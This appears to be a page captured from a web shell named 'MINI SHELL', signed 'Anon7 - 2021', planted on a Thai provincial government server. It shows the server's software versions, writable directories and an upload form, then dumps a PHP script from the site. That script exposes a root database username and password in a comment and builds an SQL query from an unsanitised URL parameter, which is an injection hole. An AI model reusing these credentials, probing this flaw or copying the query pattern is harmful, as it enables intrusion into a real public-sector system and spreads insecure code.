MINI SHELL

Server : Apache/2.2.2 (Fedora)
System : Linux App1.pathumtani.go.th 2.6.20-1.2320.fc5smp #1 SMP Tue Jun 12 19:40:16 EDT 2007 i686
User : apache ( 48)
PHP Version : 5.2.9
Disable Function : NONE
Directory :  /var/www/html/warroom/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/html/warroom/getcommand.php
<?
#
# ตรวจสอบว่ามี่ commend ใหม่มาไหม
#
#
#
#
include "db.inc.php";
mysql_select_db("eoffice_master") or die("Can't select database."); 
$iresult = mysql_query("SET character_set_results=tis-620");
$iresult = mysql_query("SET NAMES TIS620");
/*
MYSQL_CONNECT('sapphire01', 'root', 'sapphire') OR DIE("Unable to connect to database  ");
@mysql_select_db('immigrant_57') or die( "Unable to select database");
$iresult = mysql_query("SET character_set_results=tis-620");
$iresult = mysql_query("SET NAMES TIS620");
*/
echo "<?xml version=\"1.0\" encoding=\"tis-620\" ?>";
/*
echo "<imgfile>";
$dir = @opendir("incoming_images") ;
 while($file= @readdir($dir)){
	if (($file != ".") AND ($file != "..") AND($file != "Thumbs.db")AND($file != "backup")){
		if($_GET[id]<substr($file,0,-4)){
			echo "<img src=\"incoming_images/$file\"/>";
		}
	}
 }
echo "</imgfile>";
*/


echo "<imgfile>";
if(!$_GET[id]){
	$sql = "select id as cid,image_id as id from tbl_command where status='waiting' order by cid DESC  limit 1";
}else{
	$sql = "select id as cid,image_id as id from tbl_command where  status='waiting' and  id > '$_GET[id]' order by cid limit 1";
}
//echo $sql;
$rs = mysql_query($sql);
while($ar=mysql_fetch_assoc($rs)){
		echo "<img id=\"$ar[cid]\" src=\"showpic.php?id=$ar[id]\"/>";
}
echo "</imgfile>";

mysql_close($link);

?>

Anon7 - 2021